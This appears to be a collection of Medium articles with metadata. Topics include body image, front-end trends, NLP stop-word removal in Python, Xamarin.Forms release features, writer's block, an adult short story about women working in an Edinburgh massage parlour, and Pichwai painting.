You get that social stigma and fatphobia lead to terrible body shame and that our culture's obsession with dieting is responsible for deeply unethical protocols and practices being sold to our kids — mainly under the disguise of health.
It’s heartbreaking. And I’m with you.
And it’s not enough to keep reiterating the facts, even though we have to keep reiterating the facts.
We also need to create a new social status. We need to give people a chance to feel part of something bigger than themselves. We need to unite them around a common story about who they are with a plot that isn’t called; I have better facts than you. The plot needs to be driven by emotion.
Do you know the “I have a dream” speech? Not many facts got shared, but everyone felt something. Everyone was moved to reconsider the way they live.
You can do this too. You can become a storyteller. You can start to connect with people's hearts, not just their minds. Every time you feel the need to present a fact, look for a great story as well.
My dream is that every child on the planet gets to grow up knowing their body is the least interesting thing about them. That they will believe the content of their minds and the spirit of their heart define them as human beings far more readily than the size of the jeans or the content of their lunch.
Emma Wright is a Family Body Confidence Consultant. You can find out more about her here. | https://medium.com/@emma_20923/why-protecting-kids-body-image-is-such-a-hard-sell-9ca6812aab92 | ['Emma Wright'] | 2020-01-30 03:01:52.968000+00:00 | ['Body Image', 'Health', 'Eating Disorders', 'Parenting Advice', 'Health At Every Size'] |
Body Neutrality: A Realistic Approach to Self-Acceptance | by Ariana Valencia
If you’ve logged in to any major social media platform within the last couple of years, you’re familiar with the term “body positivity”. The movement has gained a lot of traction among young women especially, because it encourages people to love their bodies despite what the media may portray as the “ideal body type”. A term you’re probably less familiar with is “body neutrality”, but it’s beginning to gain popularity among those who believe body positivity feels like too much of a stretch. Body neutrality focuses more on the extraordinary things your body can do, rather than what it looks like. The body neutral movement also highlights why some may find body positivity inauthentic and ineffective.
For example, body positivity has come under fire for being highly commercialized in a way that almost encourages body scrutiny because it puts our bodies at the forefront of our minds when developing positive self-worth. Furthermore, a lot of the body positivity movement centers around positive self-talk that affirms, “I am worthy, I am beautiful, I am lovable, I am enough.” Or something to that effect. While positive self-talk is all good and well, if you’re someone who has a negative body image or has a low self-esteem, it can actually do more harm than good.
Canadian researcher, Dr. Joanne Wood, conducted a study with the University of Waterloo to determine the effectiveness of positive affirmations on general mood and body image. The study found that “repeating positive self-statements may benefit certain people, such as individuals with high self-esteem but backfires for the very people who need them most.” In fact, researchers suggest positive affirmations are simply “incongruent with the mindset of those with low self-esteem” thus leading to more negative feelings about oneself. For those that may think body positivity feels forced, Dr. Wood suggests “going neutral” before “going positive”, as a means of creating neutral paths of thought that provide a sturdy foundation for positive thinking to begin.
Inclusive fitness expert, Lauren Leavel, says “body neutrality offers a space to observe without judgement and forced positivity.” If you’re on a journey to sustainable self-acceptance and body positivity just doesn’t feel authentic to you, consider incorporating these body neutral practices into your self-care routine.
Focus on Your Strengths
We are often our own worst critic but by appreciating the things our bodies can do rather than their appearance, it opens up new perspectives for us to truly gain body acceptance. For example, if you don’t like the cellulite on your thighs start by appreciating how strong your legs are. Acknowledge how your legs allow you to go on bike rides or simply walk through the mall while you shop. If you don’t like the stretch marks on your tummy, start by appreciating that your body created life and is ever-changing. New York based Psychotherapist, Alison Stone, suggests a good approach to body neutrality is to explore your body and find out what makes you feel good about existing in the body that you have. Even if all you like about yourself is your good eyesight, creating any neutral paths of thought facilitates sustainable positive self-image.
Change the Conversation with Yourself
It’s important that we change our negative self-talk in order to develop a more positive self-image. On the days when we just can’t seem to find anything about ourselves to appreciate, reciting body neutral mantras to replace criticism of our own bodies can help break that cycle of negativity. Research shows, simply saying things like, “I am more than my appearance. The way I look is just one of the many facets that make me, me”, encourages mindfulness thus reducing stress, anxiety and emotional reactivity. A great resource to gain a better understanding of the benefits of living body neutral, is the book “Beyond Beautiful” by Anuschka Rees. Follow the book’s Instagram @beyondbeautifulbook for daily exercises and mantras to help you on the road to self-acceptance in a realistic and attainable way.
Filter Your World
Beyond changing how you talk to yourself, what’s really important is how you interact with others around you when it comes to conversations about weight, exercise, diet or any topics that may trigger insecurity. Friends or relatives may compliment you for losing weight and comment how great you look. But this can be dangerous, because then we equate acceptance and praise with thinness and weight loss. So, when someone says something like, “Wow, have you lost weight? You look amazing! What’s your secret?” Try to pivot the conversation, to something that doesn’t have to do with your appearance. Suggest you decided to focus on your health and eat foods that make your body feel good and not what would make your body smaller. Weight loss is not the goal, but often the inevitable result of proper self-care. So, if you want to achieve true body acceptance, stay positive and remember, go neutral. | https://medium.com/@arianavalencia/body-neutrality-a-realistic-approach-to-self-acceptance-233d01922a18 | ['Ariana Valencia'] | 2021-04-13 01:27:30.611000+00:00 | ['Self Acceptance', 'Body Positive', 'Body', 'Body Image', 'Self Love'] |
Top Front-End Development Trends You Should Follow in 2021 | Frontend web development standards and trends change faster than they can be implemented. This makes it difficult for developers to separate the wheat from the chaff; the game-changing trends from the fads.
In this blog post, we have shared our thoughts and predictions for front-end development trends in 2021. Read this blog to know more about the latest in the front-end realm. You can also understand how these trends will affect the front-end landscape, as well as your front-end development journey.
1. JavaScript Will Continue its Reign
Credit: 2020 Stack Overflow Developer Survey
Every year, JavaScript grows stronger. It has been the most popular programming language in the world for eight years in a row, according to the 2020 Stack Overflow Developer Survey.
There are more and more development services that require JavaScript skills every day. In terms of business, this means that more and more development partners will offer JS services. The language is versatile and can be used to implement a variety of requirements.
While JavaScript remains at the forefront of software development, new technologies are coming up as a possible alternative to JavaScript. One of these competitors is Blazor — it is a framework that allows us to create browser-based apps using C#, and it’s already been dubbed a JavaScript killer.
2. Powerful Gatsby
Gatsby stats from npmtrends.com
Single Page Apps (SPAs) are making the web more vibrant and powerful. However, there is a serious impediment to the widespread adoption of SPAs. They are not SEO-friendly which is really critical for growing your online businesses.
To overcome the obstacle, creative minds focused their efforts on developing unique solutions, which is why we are discussing Gatsby today. The creators of solutions such as Next.js and Gatsby recognized this issue and took steps to address it. This is where static site rendering (Gatsby) enters the picture.
This is primarily due to the excellent developer experience it provides. Gatsby is the single fastest-growing framework, according to the Gatsby Market Report (May 2021).
3. Most loved framework ReactJS
Credit: Stack Overflow survey
Without a doubt, React will maintain its lead among JavaScript frameworks and libraries in 2021.
There is no doubt that the use of React is increasing significantly. As per the latest Stack Overflow survey, React is the most popular web framework, with 68.9 percent of respondents using it or planning to use it shortly.
React enchants us with its simplicity, speed, and minimal coding, which does not limit our ability to create web applications with high user engagement rates. When it comes to dealing with interface-related issues, large corporations such as Airbnb and Facebook rely on ReactJS.
4. Jamstack in Action
Credit: freeCodeCamp
Jamstack is an acronym that stands for JavaScript, APIs, and Markup.
It is a software architecture that uses the preceding elements to create secure, scalable, cost-effective, and performant websites and apps.
It is the new kid on the block in the world of web development. Every day, more developers and businesses use this modern and efficient approach to create websites and apps. According to the State of Frontend 2020 survey, one-third of respondents have already built a Jamstack-based solution. As a result, its widespread adoption in 2021 is inevitable.
5. Engaging Power of Micro Frontends
Consider a website or web app to be a collection of features owned by separate teams that can work independently of one another.
It’s amazing how many organizations have adopted this architectural style in recent years. This is true, for example, of American Express, IKEA, Spotify, and Starbucks, to name a few.
We get a compact and cohesive codebase, scalable projects, and independent deployment when we use the micro frontend approach. Instead of fighting large and difficult things, we cut them up into small pieces and assign responsibility for these pieces to specific people.
Final Thoughts
So you’ve learned about the most promising frontend frameworks, languages, architectures, and concepts. In the effervescent world of software technology, it is important to keep up with the latest trends.
Are you overwhelmed by the number of options for keeping up with the latest trends in front-end development frameworks? Contact us for a professional consultation on how to use front-end development trends 2021 that are relevant to your ideas, and how to put them into action to create a trending product.
About Galaxy Weblinks
We specialize in delivering end-to-end software design & development services and have hands-on experience with popular front-end and back-end frameworks. Our back-end and front-end engineers also help in improving security, reliability, and features to make sure your business application scales and remain secure. | https://medium.com/geekculture/top-front-end-development-trends-you-should-follow-in-2021-64d7129fc066 | ['Galaxy Weblinks'] | 2021-06-17 08:02:48.360000+00:00 | ['Development', 'Design', 'JavaScript', 'Frontend', 'Frontend Development'] |
The Brain’s Prismatic View of Life | What if the differences among us aren’t the only “truth”?
Photo by brain master/iStockphoto
All around us, we see much diversity: men and women; Democrats and Republicans; black and white; homosexual and heterosexual; Americans and Europeans—the list goes on and on, and of course, also includes everything and everyone in between. While it is undeniable that our perceptions communicate these differences to us, what if there is a “prism” effect that distorts what we actually are?
The Prism Effect
Photo by petrroudny/iStockphoto
When colorless light moves from air into a glass prism, it breaks up into many different colors. Depending on the angle at which it enters the glass, the precise rainbow of colors may differ. If you were looking at the different colors, that’s all that you would see. Yet, if you looked at the source, you would “see” colorless light. All the colors are already contained in colorless light. Metaphorically, what if our diversity was simply a result of a similar refractory effect?
Why categories limit your power
There are many contexts in which we seek to be united. Usually, we use categories to try to be united by a cause.
Psychologically, this is the basis of the need to belong. The problem with this, is that blacks identify with other blacks, women with other women, immigrants with other immigrants, and before you know it, people are naturally excluding themselves from the entirety of the world. While categories provide a temporary place to belong, they eventually exclude you from the rest of the world and the power that this unity can bring when you realize this. Only YOU can include yourseelf in the world.
Even the category of “human” excludes us from all other living things. And the category of “living things” excludes us from joining the inanimate beauty that surrounds us. To truly see the colorless light, we have to abandon all categories and seek to experience a state of consciousness that unites us with all the power that is available to us.
The refraction that causes rainbows is a distraction from the colorless light.
What is the “colorless light” that contains our diversity?
Photo by peterschreiber.media/iStockphoto
There have been many attempts to describe the colorless light. The psychiatrist Carl Jung decribed a “collective unconscious.” The Advaita Vedanta school of Hinduism decribes a “universal consciousness.” And scientific studies sometimes simply refer to this “colorless light” as consciousness or they describe mirror neurons, which are the basis of why we contain everything and everyone around us in our brains.
Yet, even if we were to believe in these schools of thought, it would exclude those who deny such collectivism, and as a result, another category would be created. Words, by their very nature, create constructs and categories. For this reason, it is difficult for words to show us the colorless light unless one reflects on writing like the poetry of Walt Whitman for example.
Music and art also coordinate many brain regions and bring us closer to the experience of universality. Love makes the brain see the world through the eyes of others more easily. And meditation and psychedelics produce similar effects too.
The striving to experience “colorless light” can also be seen in how the Internet connects us all regardless of category, and in the sublime experiences that one can know being in nature or using virtual reality. And more and more, our society seeks to unite people in quests such as climate change, inclusive practices, and gender fluidity. These all point to the colorless light that we are seeking.
The problem with relying entirely on one method is that it can also create categories: artists and scientists; lovers and haters; meditators and non-meditators; climate activists and climate nihilists..again, the list goes on and on. Our different methods are simply the rainbow effect. Rather than only encouraging activism that separates us, it may make sense to encourage an activism that connects us.
Finding the colorless light
If we are to experience universal consciousness constantly as a “colorless light”, we might benefit from eschewing the categories of our own beliefs. Instead, we might look at people not like us and ask, “How does their perspective unite with mine?”
Having a different opinion may seem to give you an identity, but it rips you away from the power of the colorless light. We say that we want to be seen, but in actuality, when we profess to know only our own ways, we cannot be seen as we truly are—as the colorless light that is our identity before it becomes refracted through our perceptions.
To find the colorless light, we might ask a different set of questions, but it’s a little too trite and it will eventually be annoying to simply ask questions like “What do you see from where you are? If we are actually joined by a common consciousness, how can we find this together?”
If we, with all our differences,
Are simply rainbows that pass
Through the prisms of our perception,
How might we know the colorless light
From which we came?
I think we will see it more clearly
If I can make you smile—
If I can hold you tight—
If I can walk side by side with you—
Through this dark and stormy life. | https://drsrinipillay.medium.com/the-brains-prismatic-view-of-life-8f5c6cd7f961 | ['Dr. Srini Pillay'] | 2020-01-18 15:33:52.491000+00:00 | ['Loneliness', 'Politics', 'Love', 'Race', 'Psychology'] |
Stop Words in NLP | Stop Words in NLP
All about stop words in Natural language processing along with hands-on examples.
Photo by Jose Aragones on Unsplash
In this article, we will learn all about stop words for Natural Language processing.
In computing, stop words are words that are filtered out before or after the natural language data (text) are processed. While “stop words” typically refers to the most common words in a language, all-natural language processing tools don’t use a single universal list of stop words.
“stop words” usually refers to the most common words in a language. There is no universal list of “stop words” that is used by all NLP tools in common.
In this article we will look at below topics:
What are stop words When to remove stop words Pros and Cons How to remove stop words in python using:
* NLTK Library
* SpaCy Library
* Gensim Library
* Custom stop words
What are stop words?
Stopwords are the words in any language which does not add much meaning to a sentence. They can safely be ignored without sacrificing the meaning of the sentence. For some search engines, these are some of the most common, short function words, such as the, is, at, which, and on. In this case, stop words can cause problems when searching for phrases that include them, particularly in names such as “The Who” or “Take That”.
When to remove stop words?
If we have a task of text classification or sentiment analysis then we should remove stop words as they do not provide any information to our model, i.e keeping out unwanted words out of our corpus, but if we have the task of language translation then stopwords are useful, as they have to be translated along with other words.
There is no hard and fast rule on when to remove stop words. But I would suggest removing stop words if our task to be performed is one of Language Classification, Spam Filtering, Caption Generation, Auto-Tag Generation, Sentiment analysis, or something that is related to text classification.
On the other hand, if our task is one of Machine Translation, Question-Answering problems, Text Summarization, Language Modeling, it’s better not to remove the stop words as they are a crucial part of these applications.
Pros and Cons:
One of the first things that we ask ourselves is what are the pros and cons of any task we perform. Let’s look at some of the pros and cons of stop word removal in NLP.
pros:
* Stop words are often removed from the text before training deep learning and machine learning models since stop words occur in abundance, hence providing little to no unique information that can be used for classification or clustering.
* On removing stopwords, dataset size decreases, and the time to train the model also decreases without a huge impact on the accuracy of the model.
* Stopword removal can potentially help in improving performance, as there are fewer and only significant tokens left. Thus, the classification accuracy could be improved
cons:
Improper selection and removal of stop words can change the meaning of our text. So we have to be careful in choosing our stop words.
Ex: “ This movie is not good.”
If we remove (not ) in pre-processing step the sentence (this movie is good) indicates that it is positive which is wrongly interpreted.
How to remove stop words in python using:
Removing stop words using python libraries is pretty easy and can be done in many ways. Let’s go through one by one.
Using NLTK library:
The Natural Language Toolkit, or more commonly NLTK, is a suite of libraries and programs for symbolic and statistical natural language processing for English written in the Python programming language. It contains text processing libraries for tokenization, parsing, classification, stemming, tagging, and semantic reasoning.
Let’s see how we can remove stop words using the NLTK python library.
using NLTK to remove stop words
tokenized vector with and without stop words
We can observe that words like ‘this’, ‘is’, ‘will’, ‘do’, ‘more’, ‘such’ are removed from the tokenized vector as they are part of NLTK’s stopwords set. We can have a look at all such stop words for English by printing the stopwords.
List of 179 NLTK stop words
Using SpaCy Library:
spaCy is an open-source software library for advanced natural language processing. spaCy is designed specifically for production use and helps you build applications that process and “understand” large volumes of text. It can be used to build information extraction or natural language understanding systems or to pre-process text for deep learning.
Before moving on make sure you install spaCy and its English language model. You can use the below commands to do that.
$ pip install -U spacy
$ python -m spacy download en_core_web_sm
Let’s look at how we can remove stop words using this library.
using spaCy to remove stop words
tokenized vector with and without stop words
The output of NLTK and spaCy tokenized vectors without stop words is the same. But spaCy got a bigger set of stop words(326) than that of NLTK(179).
List of 326 spaCy stop words
Using Gensim Library:
Gensim is an open-source library for unsupervised topic modeling and natural language processing, using modern statistical machine learning. Gensim is designed to handle large text collections using data streaming and incremental online algorithms, which differentiates it from most other machine learning software packages that target only in-memory processing. For more details checkout Gensim documentation.
Using Gensim we can directly call remove_stopwords(), which is a method of gensim.parsing.preprocessing. Next, we need to pass our sentence from which you want to remove stop words, to the remove_stopwords() method which returns the text string without the stop words. We can then tokenize the returned sentences.
Let’s look at how we can remove stop words using the Gensim library.
using gensim to remove stop words
tokenized vector with and without stop words
We can observe that the output of NLTK, spaCy, and gensim is the same even though each of them has a different set of a default set of stop words. Let's look at 337 Gensim stop words.
List of 337 gensim stop words
Custom stop words:
If you feel that the default stop words in any python NLP language tool are too many and are causing loss of information, or are too less to remove all unnecessary words in your corpus, then we can opt for custom stop words list.
For this, you can simply obtain the default stop words to a list and append or delete the required words from the list as per the requirement.
custom stop words list
If we want a very few stop words, then we can define our own list of stop words and use it for removing respective words for our corpus.
Example:
my_stopword_list = [‘the, ‘is’, ‘as’, ‘a’, ‘are’, ‘in’, ‘this’, ‘that’]
Conclusion:
In this article, we have learned what stop words are, the pros and cons of removing stop words. We’ve also seen various libraries in this article which can be used to remove stop words from a Python string. You also saw how to add or remove stop words from lists of the default stop words that different libraries have provided to make custom stop words lists.
Full code as a Jupyter notebook is available in my GitHub.
Happy learning! | https://towardsdatascience.com/stop-words-in-nlp-5b248dadad47 | ['Sai Teja'] | 2020-06-12 04:11:57.734000+00:00 | ['Programming', 'Machine Learning', 'Python', 'NLP', 'Naturallanguageprocessing'] |
The 5 magical values | All of you have always read these 5 words: Honesty, Growth, Responsibility, Humility and Acceptance. But have you ever learn about these 5 words at an institute or university? The answer is “NO”. But don’t you think that these 5 words are somehow related to live of every single person either he is a well educated person or a lay man. So, I am going to tell you that there is an institute where you can learn to use these five basic moral values in your daily life. The institute is Amal Academy. So at Amal, these 5 values are the basis of every project work and assignment. We learnt to use these 5 terms in every aspect of our daily life.
The 5 Magical values
So, in the last week of my Fellowship with Amal academy, I am going to tell you that how we have incorporated these terms in our classes.
1- Acceptance: Every week, we accepted a new challenge, a new task, a totally new dimension to expand our horizons of knowledge. Some of these tasks were individual or some of them had to be performed in groups.
2- Responsibility: After accepting the task, the second value started to trigger our responses to that task so that we and our group could stand with pride in front of whole class.
3- Honesty: When doing the project work or tasks assigned to us, the sense of honesty always started to tap in my mind because if we can not be honest in our learning process, how can we assume to be honest to others. if we are not honest to ourselves then how can we be honest to others.
4- Humility: Even in groups we used to divide our responsibilities and then fulfill our group tasks. We always had shown humility. We always accepted our failures and successes as a group.
5-Growth: Is there still any need to tell how growth of our mindsets took place at Amal academy? How these five values groomed our personalities?
In the end, “Thank you! Amal”. | https://medium.com/@shahrozeb/the-5-magical-values-8e003bbdc23 | [] | 2020-10-13 14:27:01.348000+00:00 | ['Acceptance', 'Honesty', 'Humility', 'Growth', 'Responsibility'] |
4 Great Ways to Overcome Writer’s Block | For authors of all levels and backgrounds, the experience of writer’s block is an unpleasant but normal facet of the writing life. Fortunately, there are great ways to move past even the worst cases of writer’s block; here are just a few tried-and-true methods for getting your writing back on track, and why using them can be a great way to take your writing to the next level.
1. Criticize Negative Thinking Patterns
When writer’s block arises, it usually revolves around a particular fear or sense of anxiety. Perhaps we’re afraid that we will no longer be able to write; perhaps we fear that our writing won’t be any good. As soon as we can criticize the irrational beliefs behind our fears around writing, however, we’ll often find that our case of writer’s block will lessen or even disappear altogether.
2. Trust Your Abilities
Indeed, writing is much like riding a bicycle: Just as we’re unlikely to lose our ability to balance on a bike simply because we’re feeling anxious, we probably won’t forget how to write anytime soon. Indeed, once we have our anxiety around writing under control, we’ll quickly find that we’re just as capable of writing as we’ve ever been. After all, we’ve been able to write in the past; there is no reason why we shouldn’t be able to write in the future.
3. Try Free Writing
If you’re really stuck for ideas while writing, try free writing for a short period of time to really get the creative juices flowing. Free writing involves jotting down any thoughts or ideas that come into our mind for a short period of time. Sometimes, just filling up the blank space on a page can do wonders for taking away the anxiety that accompanies many writing projects.
4. Take a Walk and Clear Your Mind
For many writers and artists throughout history, a walk in the outdoors has traditionally been seen as a great way to generate ideas and overcome writer’s block. No less a composer than Ludwig van Beethoven kept a notebook with him on his daily walks through nature, and William Wordsworth was famous in his day for generating poetic ideas while strolling through the English countryside.
For these reasons, overcoming writer’s block doesn’t have to be a difficult process. With the right mindset and a few free writing exercises under your belt, you’ll be back on the writing track in no time. Every writer goes through spells of writer’s block at some stage in their career, so if you find yourself staring down a blank page from time to time, know that you’re in great company! | https://medium.com/@toddpajonas/4-great-ways-to-overcome-writers-block-a820105abe80 | ['Todd Pajonas'] | 2019-08-16 16:05:43.694000+00:00 | ['Todd Pajonas', 'Writers Block', 'Writing', 'Writing Tips'] |
What’s New in 2020 Volume 4: Xamarin.Forms | Syncfusion has delivered the next exciting release, packed with cool and useful features. The 2020 Volume 4 release is now available for download.
In this blog, I am going to give you a quick overview of the new features we have added to the Syncfusion Xamarin platform in the Volume 4 release.
Let’s explore them!
Xamarin.Forms WPF support extension
In this release, Xamarin.Forms WPF platform support has been provided for the ComboBox component.
ComboBox in Xamarin.Forms WPF
Autocomplete
In the Xamarin.Forms Autocomplete control, we have provided auto drop-down placement support. The drop-down is placed at either the top or bottom of the Autocomplete control based on the available space.
ComboBox
Like in the Autocomplete control, there is now auto drop-down placement support in the ComboBox, too. This drop-down will also be placed at either the top or bottom of the ComboBox control based on the available space.
Tabbed View
The newly introduced auto tab width support renders the Tabbed View control’s tabs based on the text size.
Refer to the following screenshot.
Tab header width based on the text size
Image Editor
The new circular cropping feature in the Image Editor allows users to crop an image in a circular or elliptical shape like in the following image.
Circular cropping support in Xamarin Image Editor
Rich Text Editor
New, useful support for subscripts and superscripts has been provided in the Xamarin.Forms Rich Text Editor.
Refer to the following screenshot.
Superscript and subscript support in Rich Text Editor
StepProgressBar
The StepProgressBar now has both dark and light themes.
StepProgressBar in dark theme
Masked Entry
The following are the two new features included in the Syncfusion Xamarin.Forms Masked Entry control.
Select all text on focus: Select all the text in a field when the control is in focus mode.
Selecting all text on focus mode
Read-only text: Prevent text modification in the Masked Entry.
Numeric Entry
The following are the two new features included in the Syncfusion Xamarin.Forms Numeric Entry control.
Comma separator on focus: Enable the comma separator for input values when the control is in focus mode.
Comma separator in focus mode
2. Read-only text: Prevent text modification in the Numeric Entry.
Chat
The Xamarin.Forms Chat control has the following new features in this release:
Event support for message interactions- Listen to events for the following message interactions:
Listen to events for the following message interactions: Tap
Double tap
Long press
Item converter-Bind the ItemsSource with a collection of data objects and convert those data objects to the message object required for the Chat control.
DataGrid
The Xamarin.Forms DataGrid has the following new custom features in this release:
Custom border: Customize the border of a specific cell based on the criteria.
Customize the border of a specific cell based on the criteria. Custom styles: Set the style for each element of the DataGrid.
Popup
The new background support in the Popup control allows users to show the blur effect on an overlay background.
Refer to the following screenshot.
Blurred overlay background in Popup
Range Slider
Border colors and rounded corners have been added to the Range Slider.
Track corner radius in the Range Slider
Conclusion
We hope you’re impressed with the new features in the Syncfusion Xamarin.Forms platform from the 2020 Volume 4 release. You can check out the list of all the features in our release notes and on the What’s New page.
What do you think about these new features? Please leave your feedback in the comments section below.
Stay tuned to our official Twitter, Facebook, and LinkedIn pages for announcements of new releases. You can reach us with questions through our support forums, Direct-Trac, or feedback portal.
If you liked this post, we think you will also like the following articles: | https://medium.com/syncfusion/whats-new-in-2020-volume-4-xamarin-forms-cc750f469724 | ['Rajeshwari Pandinagarajan'] | 2020-12-23 12:48:12.653000+00:00 | ['Xamarin', 'iOS App Development', 'Mobile App Development', 'Android App Development', 'Productivity'] |
Tales from The Massage Parlour | Tales from The Massage Parlour
(Gi)
Gi was half-Korean and half Scottish. Her slimness gave the impression that she was tall, but in fact she was the same height as me. Five foot four — or one metre sixty-two. I cannot remember anybody younger coming to work at the Blue Eden sauna. Any younger, we’d have been closed for selling underage sex. Magda told me that she was only nineteen, and she had checked.
‘Jodie will show you the ropes,’ Magda said after she had introduced us. She chose the simple name of Maggie as her working alias. Gi, Maggie!
The Blue Pagoda near Seoul (Brady Bell. Unsplash)
It is surprising how little tension there is between us, the working girls of the parlour. Our callers think that we boil with rage if they pick someone else. We do not. In my case I am slightly surprised when one of my regulars walk in, sees me, and picks a newcomer he hasn’t seen before, but I don’t bear them any grudge for that as I know that men like variety. The man is literally just a prick, and he is paying. I am not jealous. Rarely do I come to the parlour on any day and see less than four customers. Which is already a fair take-home pay, and I usually service up to eight punters. Wall to wall. This is to say that although Gi was a stunning colleague and the dirty old men who put bread on our table love young flesh, I did not feel threatened by her. One rarely finds a woman with such a stunning body. Like an alabaster sculpture of Michelangelo. Slender, with magnificent curves, a derrière to die for, a wasp-like waist, but albeit with rather smaller tits than she might have wished. But the, so had Julie Christie, and no one would say this did the slightest damage to the overall product. Her greatest asset (Gi’s, not Julie), however, was her face. If it was just slightly more oval-shaped, she would have won the Miss Universe title and would not need to sell sex for a living.
I quickly took to her, and she to me. She was talkative and cheerful, and within a week she had told me quite intimate details about herself. She was born in Seoul, where her father was an academic. When she was four, the family moved to Hong Kong, and she stayed there for six years, going to
Chinese dhow in Hong Kong harbour (unknown) courtesy Unsplash
school. Then there was a short spate in Singapore. At the age of eleven dad was appointed to a professorship at Durham, and the family moved again. Shortly after her parents divorced.
Famous landmark in Singapore (by Hu-Chen, courtesy Unsplash)
‘Don’t ask me why,’ she said, ‘it’s too painful.’
Dad stayed put in Durham but mum moved to Edinburgh, for reasons which her daughter did not immediately understand.
Edinburgh street by Jillian King (Courtesy Unsplash)
She was studying chemistry at Herriott-Watt university, and that explained why she did not wish to work more than one full day and one evening shift a week. She wanted just enough money to be able to live reasonably, although she saw herself making big money later. She knew that once she became a chemistry graduate money would cascade into her lap. Dad gave her a handsome allowance, but she had expensive tastes. She had only been at uni for one year, but she already had a good few ideas for making money.
We were sharing a coffee and a cinnamon bun at Soderbergh’s (ex-Peter’s Yard) in the Meadows one day when she suddenly said:
‘Jodie, I appreciate that you never asked me questions about my parents’ divorce-’
‘Aye, but you said don’t ask.’
‘I’ll tell you, because I trust you and know this will go no further.’ That was truer than she knew. Most girls believe that I am the soul of discretion and pour their hearts out to me, and I do not remember breaking a confidence in my life.
‘Only if you want to.’
‘Yes, I do. I think everybody needs a shoulder to cry on. Keeping a sad secret all to yourself can lead to depression, doesn’t it?’ I nodded.
She told me how her parents met. New to Seoul, dad’s Korean friends took him to a night club, and it was there that he met Nari.
‘If you think I am beautiful, then you need to see my mother.’ Even now, a punter walking in the sauna would pick the forty-year old chanteuse over anybody else at the Blue Eden. If she was working here.
Her dad had only told her that Nari worked at a club. Not even after they divorced had he said the least unkind thing about her to make her daughter think badly of her. It was her auntie Myeong who had told her the truth when she came for a visit last year. She was benefiting from Gi’s mother’s hospitality, but felt she needed to tell me the truth all the same.
‘Gi, you don’t know this, but your mother was a notorious whore, known to all the big shots in Seoul. Chanteuse my thumb! She couldn’t sing la, la, la if her life depended upon it. She waited at tables and was open to offers to spend the night with the men. Your dad first met her as a paying client. So that’s the truth which she never had the guts to tell you.’
When they moved to Edinburgh, Nari had never explained the reason. Gi had no reason to disbelieve her story that she was now working at the South Korean consulate in the city. She had her dad’s trusting nature, she explained, but after Myeong’s hateful tale, she began asking herself questions, and discovered that her mother was working as an escort. It did not surprise her when Nari suggested that if she was finding it difficult to live on the allowance dad gave her, she could do much worse than make money on her back.
‘After all, that’s what I did, and as you now know I still do; so do you think you’re better than me?’ Nari had said. Gi was used to the good life and did not need too much convincing. Which was what led her to make that phone call to Magda. She would laugh when later I told her that the illustrious Sarah Bernhardt, who got a lot of money and jewellery by opening her legs to the rich and famous, was also encouraged in this direction by her courtesan mother Joule. I had only recently read the book Sarah Bernhardt: My Erotic Life by one San Cassimally. However she promptly reminded me that after making money as a chemist she had no intention of selling sex, although she planned to have a lot of it with people she fancied.
Gi soon became the most sought after girl in the parlour although she usually worked one and a half day a week, spaced in such a way that many of her callers popped in twice. I was surprised to hear that she was often rude to her callers.
I have known Peter for a number of years now. He is a professor at the university here. He usually visits me twice a week. He tells me he has a healthy sex life at home, but he is over-endowed. And he has given me every reason to believe him. He would only go with other girls when I take time off, and only with those I recommend. As I was planning to take my little lad to Italy for 10 days, I said that he could check out Maggie.
When I came back, Peter booked me soon after and told me how Gi had asked him to take a shower once they were in the room downstairs. But I took one already, Peter had said. You still stink, she told him. Poor Peter had to take another one.
‘Why do you do this?’ I asked, ‘it does not pay to be nasty to clients.’ She laughed. She protested that she did not do this to be nasty, but to show who was in charge.
‘Once the punter’s in the room with you,’ she explained, ‘he will do anything to dip his dickie in you. A little bullying tells him who’s boss here.’
‘A power game then?’ She nodded.
‘Please don’t be unkind to dear Peter,’ I said, ‘he’s a sweet fellow.’ She promised, adding, ‘I quite like him actually, he reminds me of my dad. And I gave him a real good fuck. He’s a good fucker too and made me come. He promised to come for me again.’
Soon enough, Peter only had eyes for Gi.
‘He’s such a good kisser,’ she confided. I was surprised, since most girls here draw the line at osculatory contact. We often quote this little piece to our punters: You pay, we fuck, You pay more we suck/ Pay even more we piss, but sir we do not kiss. It must be because the kiss is a much more intimate act than even sexual intercourse.
‘You actually kiss him?’
‘I don’t kiss anybody else.’
I discovered that they had exchanged phone numbers. I was greatly alarmed when she told me that she often called him to ask for advice.
‘Advice? About what?’
‘About anything. What shoes to buy … why’s that important to you?’
Inevitably they started meeting in town, for drinks, for a meal. He took her to the opera, which she claimed to love.
Obviously what happened next was on the cards. They went to Paris for a whole week after he had told his wife he was going to a conference.
Paris Street by Guiseppe Mondi (Unsplash)
Gi no longer needed my company any more now, although we were still friends. Not that I minded.
I wasn’t at all surprised when she told me that Peter was planning to leave his wife so the two of them could get married. I knew that he had been married for twenty something years and that he had teenage daughters. When I was seeing him, I learned that his straying into our den of vice notwithstanding, he was devoted to his family. An affair with a work colleague, for example, is a danger to family life, but a whore just provides relief to the oversexed man. Many sauna girls maintain healthy relationships with husbands or partners, as in much the same manner, did the married men who visit our saunas. We do not like it when we cause marriages to break.
‘Are you sure you want to do that?’
‘Well … I am in love with him. I think.’
‘Isn’t it a case of Oediphus complex? I mean you must have missed having your dad in your life. After all you yourself told me Peter reminded you of him.’
‘What d’you mean? I never said anything like that.’ I said nothing.
‘You’re not in love with him, are you?’ she challenged me.
‘No,’ I answered more vehemently than I meant. We stared at each other for a while.
‘What about your chemistry degree? Your ambitions? Surely you’re not going to give all that up?’
‘I want Peter’s babies,’ she said merrily, ‘plenty of them.’
I was very dubious, but said nothing.
But there was a happy ending to this story. Gi told me that she made the greatest mistake of her life when she introduced Peter to Nari. | https://medium.com/the-story-hall/tales-from-the-massage-parlour-bd7a3dfee713 | ['San Cassimally'] | 2019-07-15 12:08:22.348000+00:00 | ['Edinburgh Sauna', 'Short Story', 'Erotica', 'Friends Of Cowbird', 'Love Vs Sex'] |
Pichwai art: Adding colour to the Indian culture | Although the majority of Pichwais are associated with particular festivals, a large member of hangings have seasonal themes and are not assigned to special days. These capture the mood of the season and provide relief from the scoring heat or piercing cold. They may be hung at any time during the appropriate season.
While the paintings depicting summer have pink lotuses, the paintings depicting “Sharad Purnima” comprise a night scene with the bright full moon.The seasonal restrictions are also closely followed. During the winter months, the scenes are not painted, but embroidered on heavy fabric or patterned in brocades. During the hot summer days the lightweight painted Pichwais with scenes of shady groves and cool streams are used in the shrine, Shri Nathji is surrounded with scenes of dense shaded trees, leaves in abundance with water or lotus ponds. With the coming of the monsoon season, the Pichwai is represented with peacocks joyfully dancing beneath the cloudy skies.
